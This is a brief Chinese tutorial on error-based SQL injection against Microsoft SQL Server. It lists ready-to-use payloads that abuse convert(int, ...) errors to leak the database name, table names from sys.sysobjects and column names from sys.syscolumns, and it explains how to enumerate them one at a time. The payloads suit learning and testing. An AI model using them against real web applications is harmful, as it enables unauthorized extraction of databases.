SQL注入篇——SqlServer的报错注入
2023-09-11 14:17:07 时间
一、获取当前的数据库
使用函数db_name()
id=1 and 1=convert(int,(select top 1 db_name()))
二、获取当前数据库的表
将获取到的数据库名与.sys.sysobjects
拼接
id=1 and 1= convert(int,(select top 1 name FROM text.sys.sysobjects where xtype = 'U'))
top 1
代表只显示第一列数据
如果想显示更多数据在后面加and name != '第一次输出中的表名'
以此类推,如:
id=1 and 1= convert(int,(select top 1 name FROM text.sys.sysobjects where xtype = 'U' and name != 'users' and name != '第二次输出中的表名'))
xtype = 'U'
代表指定显示用户创建的表
三、获取当前数据库的表下的字段
id=1 and 1= convert(int,(Select top 1 name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('第一次输出中的表名') and name != '第二次输出中的表名'))
or
id=1 and 1= convert(int,(Select top 1 name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('数据库.dbo.表名') and name != '数据库.dbo.第二次输出中的表名'))
效果如下:
相关文章
- 解决sqlserver数据库显示单个用户
- 在sqlserver 中with(nolock)详解
- SqlServer中计算MD5值
- SqlServer中插入数据后如何得到主键ID
- ASP.NET+d3.js实现Sqlserver数据库的可视化展示
- mybatis-paginator对SqlServer分页实现
- sqlserver Timeout 时间已到。在操作完成之前超时时间已过或服务器未响应
- 数据库还原,System.Data.SqlClient.SqlError: 因为数据库正在使用,所以无法获得对数据库的独占访问权。 (Microsoft.SqlServer.SmoExtended)
- sqlserver数据库大型应用解决方案总结
- 【转】我是如何在SQLServer中处理每天四亿三千万记录的
- sqlserver 索引的结构及其存储,索引内容
- sqlserver常用调优脚本(转)
- sqlserver索引
- Ambari组件状态从MySQL同步到SQLServer或者MySQL
- 使用脚手架Scaffold-DbContext连接(SqlServer和PostgreSQL)